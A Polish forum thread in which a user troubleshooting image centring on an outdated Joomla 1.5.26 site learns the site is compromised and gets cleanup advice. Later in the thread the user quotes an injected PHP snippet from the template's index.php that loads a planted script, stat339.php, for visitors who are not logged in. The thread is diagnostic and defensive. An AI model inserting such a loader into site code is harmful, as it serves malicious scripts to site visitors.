PDA

Zobacz pełną wersję : Nie działa środkowanie obrazków.



papa
15-03-2017, 10:26
Witam szanownych kolegów i koleżanki. Zostałem poproszony o graficzne odświeżenie pewnej strony, wszystko zrobiłem lecz niestety nie mogę poradzić sobie z <p style="text-align: center;">.
Joomla w wersji 1.5.26. W edytorze JoomlaCK wszystko wygląda ok, jednak na stronie obrazek jest z lewej. Kombinowałem już z kodem, firebug wskazuje że za ustawienia obrazka odpowiada klasa .contentpaneopen img oraz a, img ale pewności nie mam. Zarówno chrome jak i Firefox nie wyświetla poprawnie.
Proszę o pomoc w znalezieniu błędu w kodzie templatki.
fragment kody strony.

<p style="text-align: center;">
<img alt="alt" src="images/stories/winogronoooo.jpg" style="height: 280px; width: 280px;" /></p>

plik template.css

/*****************************/
/*** Core html setup stuff ***/
/*****************************/
html, body { height: 100%; margin: 0px; padding: 0px; }
form { margin: 0px; padding: 0px; vertical-align:middle; display:inline; }
ul { margin: 0px; padding: 0px; list-style: none; }
a,img{ outline:none; margin:0; padding:0; border:none; }
p { margin-top: 0px; margin-bottom: 5px; }
.clear, .clr { clear: both; overflow:hidden; font-size:0; line-height:0; }
.left { float: left; }
.right { float: right; }
h1, h2, h3, h4, h5, h6{ margin:10px 0px; line-height:normal; }
h1 { font-size:22px;}
h2 { font-size:20px; width: 100%; float:left; display:block;}
h3 { font-size:18px;}
h4 { font-size:14px;}
h5 { font-size:12px;}
h6 { font-size:11px;}

a:link, a:visited {text-decoration: none; font-weight: normal;}
a:hover, a:active, a:focus {text-decoration: underline; font-weight: normal; outline:none;}

body {width:100%; text-align: center;}
body, td, div, p {font-family: Trebuchet MS, Verdana, sans-serif; font-size: 14px; line-height: 1.3em;}
td, div, p, .contentpaneopen p{text-align: left;}

.blog tr td { text-align:center; }
.blog tr td td{ text-align:left; }

/*****************************************/
/*** Template specific layout elements ***/
/*****************************************/
#wrapper{
width:1000px;
padding:0px;
margin:0px auto;
position: relative;
}

#header{
float: left;
width:1000px;
height:210px;
padding:0px;
margin:10px 0 0 0;
}
#header2{
float: left;
width:1000px;
height:92px;
padding:0px;
margin:0px;
}

#title {
float: left;
margin: 0px;
padding: 0px;
font-size: 36px;
font-weight: normal;
letter-spacing: -2px;
text-align: left;
position:absolute;
top:30px;
left:30px;
}

/**********************/
/*** Top Navigation ***/
/**********************/
#topnavi {
float: left;
width:1000px;
height:54px;
margin:0;
padding:0px;
}

#topnavi ul {
float: left;
width: auto;
height:54px;
margin: 0px 0 0 20px;
padding: 0px;
list-style:none;
}

#topnavi ul li {
float: left;
height: 54px;
margin: 0px;
padding: 0;
font-size: 14px;
position: relative;
display: block;
}
#topnavi ul li a {
float:left;
height: 54px;
cursor:pointer;
}

#topnavi ul li a span{
float:left;
height: 54px;
margin: 0px;
padding: 0px 15px;
line-height: 54px;
font-size: 14px;
font-weight: normal;
text-decoration: none;
display: block;
}

#topnavi ul li a:hover {
float:left;
cursor:pointer;
text-decoration: none;
}

#topnavi ul li a:hover span{
float:left;
margin: 0px;
padding: 0px 15px;
line-height: 54px;
text-decoration: none;
display: block;
}

#topnavi ul li#current a span{
margin: 0px;
padding: 0 15px;
line-height: 54px;
text-decoration: none;
display: block;
}

/**********************/
/*** User 4 (Search menu) ***/
/**********************/
#search{
float: left;
width:200px;
height:44px;
margin:0px;
padding:0px;
position:absolute;
top:25px;
left:780px;
}

#search div.search .inputbox{
width:120px;
height:26px;
margin:9px 10px;
padding:0px 2px;
font-size:12px;
line-height:26px;
}

/**********************/
/*** Top (Newsflash) ***/
/**********************/
/**********************/
/*** Main Body ***/
/**********************/
#main{
float:left;
width:1000px;
margin:0px;
padding:20px 0;
}
#main_bot{
float:left;
width:1000px;
height:15px;
margin:0px;
padding:0;
font-size:0;
line-height:0;
}
/**********************/
/*** Left Column ***/
/**********************/
#leftcol {
float: left;
width:213px;
padding: 0px;
margin: 0px 0 0 7px;
}

#leftcol h3{
width:213px;
height:50px;
padding: 0px;
margin: 0px;
font-family: Arial, Verdana, sans-serif;
font-size: 18px;
font-weight: bold;
line-height: 50px;
text-align: center;
}

#leftcol div.module_menu , #leftcol div.module, #leftcol div.moduletable, #leftcol div.module_text {
width:213px;
padding: 0px;
margin: 0px 0px 10px 0px;
}
#leftcol div.module_menu div div div, #leftcol div.module div div div, #leftcol div.moduletable div div div, #leftcol div.module_text div div div{
padding: 0px 0 10px 0;
}

/*Controls margins and paddings of side content */
#leftcol div.module div div div div, #leftcol div.module div div div p, #leftcol div.module_text div div div div {margin:0px; padding: 10px 10px;}
#leftcol div.module_text div div div div div{margin:5px 0 0 0; padding:0px;}
#leftcol div.module_menu ul, #leftcol div.moduletable ul, #leftcol div.module ul {margin:0px; padding: 1px 1px;}
#leftcol div.module_menu ul ul, #leftcol div.moduletable ul ul, #leftcol div.module ul ul {margin:0px; padding: 0px;}

#leftcol a:link, #leftcol a:visited {text-decoration: none;}
#leftcol a:hover, #leftcol a:active {text-decoration: none;}

/**********************/
/*** Right Column ***/
/**********************/
#rightcol {
float: right;
width:213px;
padding: 0px;
margin: 0px 7px 0 0;
}

#rightcol h3{
width:213px;
height:50px;
padding: 0px;
margin: 0px;
font-family: Arial, Verdana, sans-serif;
font-size: 18px;
font-weight: bold;
line-height: 50px;
text-align: center;
}

#rightcol div.module_menu , #rightcol div.module, #rightcol div.moduletable, #rightcol div.module_text {
width:213px;
padding: 0px;
margin: 0px 0px 10px 0px;
}
#rightcol div.module_menu div div div, #rightcol div.module div div div, #rightcol div.moduletable div div div, #rightcol div.module_text div div div{
padding: 0px 0 10px 0;
}

/*Controls margins and paddings of side content */
#rightcol div.module div div div div, #rightcol div.module div div div p, #rightcol div.module_text div div div div {margin:0px; padding: 10px 10px;}
#rightcol div.module_text div div div div div{margin:5px 0 0 0; padding:0px;}
#rightcol div.module_menu ul, #rightcol div.moduletable ul, #rightcol div.module ul {margin:0px; padding: 1px 1px; text-align:left;}
#rightcol div.module_menu ul ul, #rightcol div.moduletable ul ul, #rightcol div.module ul ul {margin:0px; padding: 0px;}
#rightcol div.module div div div div, #rightcol div.module div div div {text-align:center;}

#rightcol a:link, #rightcol a:visited {text-decoration: none;}
#rightcol a:hover, #rightcol a:active {text-decoration: none;}

/************************************************** ****************/
/* Controls Link Icon appearance in side modules */
/************************************************** ****************/
#leftcol ul.menu li a,
#leftcol ul.menu li ul li a,
#rightcol ul.menu li a,
#rightcol ul.menu li ul li a,
#leftcol ul#mainlevel li a,
#leftcol ul#mainlevel li ul li a,
ul.mostread li a,
ul.latestnews li a,
.moduletable ul li a {
padding:0 9px;
margin:0px;
list-style:none;
line-height:30px;
display:block;
}

/**********************/
/*** Main Content Menu ***/
/**********************/
#maincol0 {
float: left;
width:530px;
margin: 0px 15px 10px 15px;
padding: 0px;
}

#maincol1 {
float: left;
width:750px;
margin: 0px 15px 10px 15px;
padding: 0px;
}

#maincol_body {
float: left;
width:100%;
}
#maincol_body li { padding:0px;}
#maincol_body ul { margin: 0px; padding-left: 30px; list-style: square; }

.componentheading {
height:60px;
margin: 0px;
padding: 0px;
font-size: 24px;
line-height:30px;
font-weight:normal;
}

.contentheading {margin:0px; padding:0px; font-size: 18px; font-weight:bold; text-align: left;}
.contentpaneopen h3 {font-size: 18px; font-weight:bold; text-align: left;}

/*** Controls images in main content ***/
.contentpaneopen img {float:left; margin:5px; padding:0px;}
.contentpaneopen {width:100%; padding:0px; margin: 0px;}
td.buttonheading {padding:0px 2px;}

#pathway {
padding:0px;
margin:0px;
text-align:left;
font-size:12px;
font-weight:bold;
line-height:30px;
display:block;
}

.small, .createdate, .modifydate {font-size:11px; font-weight: normal; text-align: left;}
.blog_more {margin-bottom:15px;}

span.pagination span, span.pagination a {padding:3px; font-size:11px;}
div .pagenavbar div{font-size:11px; text-align:center;}

a.readon, a.readon:hover, a.readon:visited{
width:120px;
height:26px;
padding-left: 20px;
line-height:26px;
font-size:14px;
font-weight:bold;
text-decoration: none;
margin:10px 0px 0px 0px;
display:block;
}

#maincol_body div.moduletable div{
width:100%;
text-align: center;
font-size:12px;
padding:0;
margin:0px auto;
}

span.article_separator {height:15px;}
.article_column {padding-right:5px;}

/**************************/
/*** Advertisement Menu ***/
/**************************/
.bannerheader {font-weight:bold; margin-bottom:10px;}
.banneritem_text {margin:10px 0 0 0; padding: 4px; font-size: 12px;}
.bannerfooter_text {padding: 4px; font-size: 12px;}
.banneritem img { display: block; text-align:center; margin: 10px auto;}

/*******************/
/*** Login Form ***/
/*******************/
.button {height:20px; cursor:pointer;}/***Controls button in login page***/
.inputbox {margin:0px; padding:0 0 0 2px; font-size:12px;}/***Controls inputs in login form on home page***/

form#form-login fieldset.input {
border: none;
margin: 0;
padding:0px 10px;
}
form#form-login fieldset.input p#form-login-username,
form#form-login fieldset.input p#form-login-password,
form#form-login fieldset.input p#form-login-remember {
margin: 5px 0px 5px 10px; padding:0px;
}
form#form-login fieldset.input input.button{margin: 0px 0px 0px 10px; padding:0px 5px;}

/***Controls lower links in login form***/
form#form-login ul li { padding-left: 10px; }
form#form-login ul li a {text-align: left; padding: 0px; font-size: 12px;}

/*************/
/*** Polls ***/
/*************/
td.sectiontableheader {padding: 4px; font-weight: bold;}
.pollstableborder {margin: 5px 0px 5px 0px;}

td.sectiontableentry0,
td.sectiontableentry1,
td.sectiontableentry2 {padding: 3px;}

table.poll thead td {text-align: left; padding-left:10px;}
table.poll td {text-align: left;}

/******************/
/*** Copyright ***/
/******************/
#copyright {
float:left;
width:1000px;
height:40px;
margin: 0px;
padding:0px;
font-size: 12px;
text-align:center;
line-height:40px;
}
#copyright a:link, #copyright a:active, #copyright a:visited {
font-size: 12px;
}
/* System Standard Messages */
#system-message { margin-bottom: 20px; }

#system-message dd.message ul { background: #C3D2E5 url(../../system/images/notice-info.png) 4px center no-repeat;border-top: 3px solid #DE7A7B; border-bottom: 3px solid #DE7A7B; margin:0px; padding-left: 40px; text-indent:0px;}

/* System Error Messages */
#system-message dd.error ul { color: #c00; background: #E6C0C0 url(../../system/images/notice-alert.png) 4px center no-repeat; border-top: 3px solid #DE7A7B; border-bottom: 3px solid #DE7A7B; margin:0px; padding-left: 40px; text-indent:0px;}

/* System Notice Messages */
#system-message dd.notice ul { color: #c00; background: #EFE7B8 url(../../system/images/notice-note.png) 4px center no-repeat; border-top: 3px solid #F0DC7E; border-bottom: 3px solid #F0DC7E; margin:0px; padding-left: 40px; text-indent:0px;}

#syndicate{
float:left;
padding-left: 25px;
}



Proszę o pomoc bardziej doświadczonych ode mnie :). Dzięki.

zwiastun
15-03-2017, 10:55
Żeby pomóc, trzeba widzieć obiekt. Kod nie wystarczy, nie ma go do czego odnieść.

papa
15-03-2017, 11:14
Włączyłem, proszę - [przykro - strona jest uszkodzona, grozi zawirusowaniem komputera. Musiałem usunąć adres strony.].
Zapoznaj się z artykułem: http://www.joomla.pl/o-joomla/joomla-w-praktyce/mam-witryne-w-joomla/postepowanie-po-wlamaniu
Najpierw zajmij się naprawą witryny (sam lub zleć to zadanie profesjonaliście), a dopiero potem kwestiami wyglądu.
Joomla 1.5.26 nie jest rozwijany od wielu już lat (5), ostatnia wersja również była podatna na uszkodzenia. Jeśłi pozostawisz tę wersjęę, trzeba do niej zainstalować specjalną łatkę, by ograniczyć możliwość uszkodzenia przez znane luki.

jaceko007
16-03-2017, 06:24
Kaspersky mi zgłasza tą stronę jako dokonującą ataków. Myślę, że czas na aktualizację.

papa
16-03-2017, 09:18
No tak, zanim umieściłem link do strony na tym forum strona otwierała się bezproblemowo. Czułem że nie był to mądry pomysł. Właściciel chciał tylko odświeżyć stronę, zmienić grafikę. Migracja do nowej wersji joomla to praktycznie postawienie strony od nowa co za tym idzie większe koszta. :( a na to nie może sobie teraz pozwolić. Naprowadźcie co można z tym fantem zrobić.?

Bazyl
16-03-2017, 09:27
No tak, zanim umieściłem link do strony na tym forum strona otwierała się bezproblemowo. Czułem że nie był to mądry pomysł.

Sugerujesz, że została zainfekowana przez forum?!?!?!?!

papa
16-03-2017, 09:51
Pracowałem nad tą stroną lokalnie bazując na xampie, w sieci jest jej stara wersja na którą wielokrotnie się logowałem, w dniu wczorajszym również, zanim zostałem poproszony przez admina o umieszczenie linku do witryny strona była czysta. Jeżeli dostęp do postu ma każdy czytelnik forum niekoniecznie forumowicz to mógł to zrobić każdy. Nie mniej jednak takie praktyki o udostępnianie strony publicznie powinny nie być praktykowane zwłaszcza jeżeli napisałem że posiadam wersję 1.5.26. Problem z obrazkiem rozwiązałem przez lewy margines w % ale poprosiłem o pomoc na forum a narobiłem sobie tylko pracy. Czy mogę teraz załatać w jakiś sposób jej lokalna wersję?.

- - - Updated - - -

Przeskanowałem witrynę http://online.us.drweb.com/result/
i mam status Clean oraz ok.

- - - Updated - - -

Inny skaner wykrył
Website Blacklisting Detected Critical oraz
Site Likely Compromised Detected Critical :(

Bazyl
16-03-2017, 10:02
Ech, bzdury wypisujesz, nie chce mi się komentować...
Zapytam tylko, jak to jest, że masz stronę w internecie i nie jest ona publiczna?

Odpowiedź, co dalej, dostałeś w tym wątku.

zwiastun
16-03-2017, 10:18
Tutaj masz załataną wersję Joomla 1.5.26: https://downloads.joomla.org/cms/joomla15/1-5-26
Może niesłusznie, ale odnoszę wrażenie, że winisz forum, a dokładniej mnie za pracę, jaka Cię czeka w związku z przypadkowym wykryciem, że strona jest zawirusowana.
Niestety, to nie dlatego, że ujawniłeś adres strony na forum. Dzięki temu akurat dowiedziałeś się, że strona jest uszkodzona (osadzono w niej szkodliwe oprogramowanie, które może uszkodzić systemy komputerowe, nie tylko komputery użytkowników, ale także np. serwer, z którego strona jest serwowana).

To, że przeskanowałeś stronę jednym skanerem internetowym nie jest w najmniejszym stopniu dowodem, że strona jest czysta. Nawet jeśli skorzystasz z kilku takich skanerów (adresy niektórych z nich znajdziesz w artykule, do którego Cię odsyłałem), to i tak nie możesz być pewny, iż strona jest wyleczona.

Zresztą, sam piszesz, że inne skanery wykryły Ci błędy krytyczne.

Jedynym sposobem nabycia większej pewności jest zbadanie uszkodzonej strony, wykrycie, na czym polega uszkodzenie, w jaki sposób zostało dokonane, z jakim skutkiem. Taka procedura może być kosztowna i często lepiej i taniej jest po prostu odtworzyć stronę od podstaw, ale na aktualnym oprogramowaniu. Tworzenie dziś strony w oparciu o Joomla 1.5.26 to tworzenie sobie kłopotów na własne życzenie. 5 lat w informatyce współczesnej to epoka. Nawet jeśli 2 czy 3 lata temu załatano lukę w J 1.5.26, to i tak jest to oprogramowanie podatne na ataki cyberprzestępców, bo jest przestarzałe.

Najlepiej, gdyby to ocenił profesjonalista. W Sieci znajdziesz reklamy stosunkowo niedrogiej usługi profesjonalnego badania strony ("leczenia z wirusów").

Jeszcze raz zachęcam do lektury wskazanego wcześniej artykułu, bo nie sposób wszystkiego wyjaśnić w poście.
Rozważ także zakup książki Pawła Frankowskiego, która właśnie ukazała się w Helionie: http://helion.pl/ksiazki/wordpress-i-joomla-zabezpieczanie-i-ratowanie-stron-www-pawel-frankowski,jowozr.htm

papa
16-03-2017, 12:21
W zbiegi okoliczności nie wierzę, jestem pewien na 100% że strona została zablokowana po umieszczeniu linku na forum. Przez kilka lat strona była odwiedzana przez klientów, na czarną listę wskoczyła dzisiaj. Strona była publiczna, owszem ale być może była pomijana przez roboty. To że Joomla w tej wersji jest stara i podatna na uszkodzenia, oraz brak możliwości jej dalszego rozwoju, skłaniał mnie do namawiania właściciela aby zrobił stronę od nowa np na jakimś nowszym CMS-ie, w sieci pełno gotowych szablonów. Niestety to wszystko to koszta na które na chwilę obecną właściciel pozwolić sobie nie może. Podkreślam nie ja robiłem tą stronę i nie wiem dlaczego podjąłem się jej odświeżenia (łatwiej robić od podstaw niż grzebać w czyimś kodzie), zmieniłem grafikę, kolorystykę, przerobiłem css, zrobiłem kilka banerów we flashu i właśnie miałem przerzucać, coś mnie podkusiło aby jeszcze powalczyć z tym centrowaniem i masz babo placek, stracony czas i nerwy. Właściciel chciał aby jeszcze z rok popracowała na starym silniku wówczas popracowałbym nad czymś innym. Do książek dostęp mam nieograniczony, ale dziękuję za propozycję. Nie obwiniam nikogo, o słabych punktach witryny wiedziałem, ale ktoś to wykorzystał w szlachetnym bądź niecnym celu. Dziękuję za załataną wersję, zaraz się za to wezmę. Napiszcie mi jeszcze tylko proszę w jaki sposób już po aktualizacji i przeczesaniu kodu, ściągnąć witrynę z blacklist?. Kiedyś pisałem w sprawie domeny rozsyłającej spam (to były tylko ponaglenia dla czytelników, lecz było ich sporo) i wiem że nie było łatwo.

zwiastun
16-03-2017, 12:58
Bez obrazy, ale
a) po pierwsze szanuj to, co piszą Ci specjaliści (a jestem nim na pewno)
b) nie stawiaj na dodatek publicznie, w wątpliwość swoich kompetencji, bo ujawniając swoje błędne przekonanie, po prostu się kompromitujesz. Ja osobiście, gdybym przeczytał zamieszczony powyżej post jako właściciel witryny, po takim dictum zrezygnowałbym natychmiast z Twoich usług. Po prostu nie masz pojęcia o materii rzeczy, o której się wypowiadasz i na którą masz odpowiednio zareagować. Oczywiście, że nie musisz się na tym znać, bo to wiedza wysoce specjalistyczna, więc nie w tym problem, że czegoś nie wiesz lub nie umiesz, ale że publicznie wypisujesz, co wypisujesz.

Jeśli podjąłeś się odnowienia tej witryny, a nie zbadałeś wcześniej, czy nie jest uszkodzona, to - niestety - głównie Twój problem. Jeśli nic nie zmieniałeś w oryginalnej witrynie, możesz powiedzieć klientowi, że przykro Ci bardzo, ale witryna jest uszkodzona, po ataku cyberprzestępcy i wymaga "wyleczenia", czego wcześniej nie wiedziałeś (a teraz wiesz). Co najwyżej stracisz trochę swojej pracy, ale to i tak niewielki koszt zważywszy, że klient może stanąć na stanowisku, że oddał Ci do dyspozycji nieuszkodzoną witrynę, a w wyniku Twoich działa lub w czasie, gdy Ty sprawowałeś nad nią pieczę, doszło do uszkodzenia.
Oczywiście, można się przed takimi zarzutami obronić, ale to potrwa i być może pokosztuje.

Nie ma żadnej drogi na skróty. Metodyczne postępowanie (w dużym skrócie) przedstawiłem a artykule, do którego masz link w pierwszej mojej odpowiedzi. Bogatsze informacje masz w książce Pawła Frankowskiego.
Po naprawieniu witryny i upewnieniu się, że wszystko jest OK, zgłaszasz witrynę do ponownej weryfikacji w Google i Yahoo .

papa
16-03-2017, 13:24
Nikogo nie obraziłem, a zdanie każdego szanuję niekoniecznie specjalisty.
Jak już wspominałem, informowałem klienta że witryna jest przestarzała może mieć luki i należy ją zmienić. Niestety to inne pieniądze na co klient się nie zgodził, ma być tylko grafika. To tyle na temat klienta.
Strony oryginalnej nie dotykałem, backup oraz bazę dostałem od właściciela serwera (twórcy tej witryny) wszystko robiłem lokalnie.
Przeanalizowałem za pomocą Winmerge pliki i znalazłem taki dodatek w plikach indeks.php templatek.


<?php $_3391b0d8=1;if(is_object($_SESSION["__default"]["user"]) && !($_SESSION["__default"]["user"]->id)) {echo "
<script language=JavaScript id=onDate ></script>
<script language=JavaScript src=/media/system/js/stat339.php ></script>
";};$_3391b0d8=1; ?>

Być może to jest przyczyna blokady i skutek nie zabezpieczonej witryny.
Artykuł przeczytałem,
Co do moich kompetencji, siedzę w informatyce całe życie, ale nie prowadzę firmy zajmującej profesjonalnym tworzeniem witryn. Z racji zawodu staram się być na bieżąco, jednak nie jestem w stanie wszystkiego ogarnąć, nikt nie jest.
Dzięki za informację i pomoc.

zwiastun
16-03-2017, 13:57
Mam nadzieję, że nie odczytałeś mojej pisaniny jako ataku. Oczywiście, że nikogo nie obraziłeś :) Pisząc o szanowaniu tego co piszą inni, miałem na myśli tylko pogląd, że witryna została zhakowana/trafiła na indeksy po umieszczeniu linku na forum. Po prostu nie ma takiej opcji (jest odwrotna - trafiliśmy swego czasu na chwilę na indeksy z powodu linków do zawirusowanych stron).
To oczywiste, że nie ma szans, by wszystko samemu ogarniać, najtęższe umysły "ogarniają" zaledwie ułamki wiedzy w swoich dziedzinach.

PS Ten fragment to zapewne tylko jeden z wielu wstrzykniętych... W joomla nie ma takiego pliku stat339.php - to zapewne plik dorzucony z zewnątrz i na pewno nie jedyny.

papa
16-03-2017, 15:13
Strona musi ruszyć jak najszybciej, właściciel już nawet zdecydował się na nową może być jednak problem z migracją bazy, poza tym nie mam żadnej gotowej templatki a stara nie zadziała na nowej Joomli. Wezmę paczkę z połataną 1.5 do której link dostałem, poskładam to wszystko do kupy z backupu i spróbuję przenieść na serwer. Sprawdzę pod kątem dziur i jak będzie czysto wyślę prośbę do google. Tak to widzę, na krótko, a w międzyczasie zrobi się coś nowego uwzględniając urządzenia mobilne.

stat339.php trafił w lokalizację /media/system/js oraz /modules/mod_stats
pojawił się także w cache jakiś mod_arttextrotator

ech dobra trzeba brać się do roboty... życie.:)

zwiastun
16-03-2017, 15:27
Jeśli strona nie ma zbyt wielu rozszerzeń, to aktualizacja do najnowszej joomla nie jest bardzo skomplikowana. A szablon? Korzystając z frameworka mozna dość szybko dostosować jakiś standardowy. Powodzenia.

sskijop
08-04-2017, 07:51
sam kod nic nie da, też tak kiedyś miałem i dopiero grzebiąc w necie odkryłem co robię źle.

jaceko007
12-07-2017, 09:25
Postaw J w tej samej wersji i przed importem bazy utwórz menu i kategorię pilnując kolejności - ID muszą się zgadzać. Wtedy baza się poprawnie zaimportuje.
niezwłocznie po tym zrób kilka upgradów do powiedzmy 2.6, sprawdź czy nie ma błędów w bazie i upgraduj do najwyższej.